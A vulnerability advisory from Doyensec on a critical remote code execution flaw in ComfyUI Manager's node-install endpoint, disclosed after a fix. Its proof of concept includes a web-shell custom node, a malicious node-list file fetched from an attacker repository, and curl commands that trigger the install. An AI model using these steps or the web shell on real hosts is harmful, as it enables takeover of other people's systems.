DOYENSEC

Security Advisory
ComfyUI Manager RCE via Custom Node Install

Created by Savino Sisco
03/03/2025

Overview

This document summarizes the results of a vulnerability discovered in ComfyUI Manager. While security testing was not meant to be comprehensive in terms of attack and code coverage, we have identified a remote code execution vulnerability that could lead to compromising the host system the application is running on.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Copyright 2025. Doyensec LLC. All rights reserved.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given. The information in the advisory is believed to be accurate at the time of publishing based on currently available information, and it is provided as-is, as a free service to the community by Doyensec LLC. There are no warranties with regard to this information, and Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

ComfyUI Manager RCE via Custom Node Install	
Component	ComfyUI Manager
Vendor	Comfy Org
CVSSv3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Severity	10.0 (Critical)
Vulnerability Class	CWE-863: Incorrect Authorization
Status	Open
CVE	CVE-2025-45076
Credits	Savino Sisco

Summary

A remote code execution vulnerability has been discovered in **ComfyUI Manager** before v3.31, a ComfyUI extension that allows its users to manage custom nodes and models. The extension is included by default in ComfyUI Desktop.

The vulnerability affects the `/api/manager/queue/install` endpoint. It allows an unauthenticated attacker to bypass the default node allowlist and install a malicious custom node that can execute commands on the remote system.

Technical Description

The ComfyUI Manager implements configurable “security levels” to prevent potentially risky or malicious actions from being executed unless the security level is explicitly lowered by the user running the application.

The handler for the `/api/manager/queue/install` endpoint tries to check whether the supplied data for the custom node to install is part of an internal allowlist by calling `get_risky_level()`.

Specifically, when the package version is `nightly` or `unknown`, the custom node can be downloaded from an external repository instead of the internal one, therefore these are risky actions that should be blocked.

However, the security checks can be bypassed in at least two different ways:

```
risky_level = None
cnr_id = json_data.get('id')
git_url = None
if json_data['version'] != 'unknown':
    selected_version = json_data.get('selected_version')

    # ...

    if selected_version != 'nightly':
        risky_level = 'low'
        node_spec_str = f"{cnr_id}@{selected_version}"
    else:
        node_spec_str = f"{cnr_id}@nightly"
        git_url = [json_data.get('repository')]
        if git_url is None:
            # return error
else:
    # unknown
    unknown_name = os.path.basename(json_data['files'][0])
    node_spec_str = f"{unknown_name}@unknown"
    git_url = json_data.get('files')

# apply security policy if not cnr node (nightly isn't regarded as cnr node)
if risky_level is None:
    if git_url is not None:
        risky_level = await get_risky_level(git_url, json_data.get('pip', []))
    else:
        return web.Response(status=404, text=f"Following node pack doesn't provide
`nightly` version: ${git_url}")


if not is_allowed_security_level(risky_level):
    logging.error(SECURITY_MESSAGE_GENERAL)
    return web.Response(status=404, text="A security error has occurred. Please check
the terminal logs")

install_item = json_data.get('ui_id'), node_spec_str, json_data['channel'],
json_data['mode'], skip_post_install
task_queue.put(("install", install_item))
```

- **Method 1:** The outer `if` block checks whether the `version` field is "`unknown`"; if it is, it will set `node_spec_str` from the last part of the URL from the `files` field and will also set `git_url` to the same URL. When the check with `get_risky_level()` is performed, the request will get rejected if the URL is not in the allowlist.

  If we set version to anything other than `unknown`, we enter the upper branch of the `if` block. Here, a different parameter `selected_version` is checked. If we set this one to `unknown`, we will enter the first branch of the inner `if` block, where `risk_level` will be set to low and `node_spec_str` will be entirely controllable by us, since `cnr_id` was also previously set to the `id` field of the JSON body. Since `risk_level` is `low`, the allowlist check is skipped entirely.

- **Method 2:** We can either set the version to `nightly` and supply a `repository` field, or set it to `unknown` and supply a file `field`. In either case, the supplied URL will be checked by calling the `get_risky_level()` function, which will compare it against the allowlist. To pass the check, we can pick an allowed URL from the `custom-node-list.json`[1] file and just put it in the proper field, depending on which version we specified. This URL is never used after the check and **the `channel` field is passed to the task handler instead, which is never checked.**

To exploit the vulnerability, we can supply a URL in the `channel` field that links to a directory containing a malicious `custom-node-list.json` file. The file must contain the metadata of the malicious node we want to install, such as the node id and repository URL, in the same format as the original JSON file.

Here is an example:

```
{
  "custom_nodes": [
    {
      "author": "Doyensec",
      "title": "RCE",
      "id": "exploit",
      "reference": "https://doyensec.com",
      "files": [
        "https://github.com/savio-doyensec/comfyui_exploit"
      ],
      "repository": "https://github.com/savio-doyensec/comfyui_exploit",
      "install_type": "git-clone",
      "description": "ComfyUI-Manager Exploit"
    }
  ]
}
```

The linked repository must contain a Python module in the ComfyUI node format.
For example, you can put the following code in a file called `__init__.py` and it will expose a simple web shell on the `/poc` endpoint.

```
import subprocess

from aiohttp import web
from server import PromptServer

@PromptServer.instance.routes.get("/poc")
async def run_poc(request):
    cmd = request.rel_url.query["cmd"]
    output = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return web.Response(text=output.stdout)
```

[1] https://github.com/ltdrdata/ComfyUI-Manager/blob/main/custom-node-list.json

When the queued task is executed, the application will first fetch and parse the malicious JSON file. It will then clone the linked repository in the app's `custom_nodes` directory. After this is done, we can restart the instance using the `/api/manager/reboot` API endpoint to load the new node. If everything went according to plan, the new node will load and run the malicious code.

Proof of Concept

1. Create a malicious custom node and upload it to a GitHub repository, e.g. `https://github.com/savio-doyensec/comfyui_exploit`

2. Create a new `custom-node-list.json` file with the following contents. Replace the references to the repository with the correct URL.

```
{
  "custom_nodes": [
    {
      "author": "Doyensec",
      "title": "RCE",
      "id": "exploit",
      "reference": "https://doyensec.com",
      "files": [
        "https://github.com/savio-doyensec/comfyui_exploit"
      ],
      "repository": "https://github.com/savio-doyensec/comfyui_exploit",
      "install_type": "git-clone",
      "description": "ComfyUI-Manager Exploit"
    }
  ]
}
```

3. Upload the `custom-node-list.json` file to a location where it can be directly accessed by the application.

   For example, you may upload it to pastebin or to a GitHub repository (even the same as the custom node), as long as you can get a raw URL to the file, e.g. `https://raw.githubusercontent.com/savio-doyensec/comfyui_exploit/refs/heads/master/custom-node-list.json`

4. Create a new body.json file with the following contents.
   Replace the `channel` field with the URL to the JSON file, and the `id` field with the name of the node (it should match the repository name).

Note: the application will append `/custom-node-list.json` to the supplied channel URL, therefore if the URL ends already with the file name, remove it; if it doesn't (e.g. with a pastebin URL), you can append a "?" or "#" to the URL to make the server ignore the extra name appended after it.

```
{
  "id": "comfyui_exploit",
  "version": "nightly",
  "selected_version": "nightly",
  "skip_post_install": false,
  "ui_id": "",
  "mode": "remote",
  "repository": "https://github.com/ltdrdata/ComfyUI-Manager",
  "channel": "https://raw.githubusercontent.com/savio-doyensec/comfyui_exploit/
refs/heads/master/"
}
```

5. Enqueue the node install request:

```
$ curl -s http://127.0.0.1:8000/api/manager/queue/install --data-binary
"@body.json"
```

6. Start the queue to trigger the vulnerability:

```
$ curl -s http://127.0.0.1:8000/api/manager/queue/start
```

7. Restart the instance and wait a few seconds for the instance to start:

```
$ curl -s http://127.0.0.1:8000/api/manager/reboot
```

8. If your custom node exposed an API endpoint, you can now invoke it:

```
$ curl "http://127.0.0.1:8000/api/poc?cmd=whoami"
savio
```

Disclosure Timeline

03/11/2025	Issue reported to the maintainers
03/12/2025	Issue patched in the codebase
03/13/2025	Fixed version 3.31 released
06/19/2025	Assigned CVE-2025-45076 by MITRE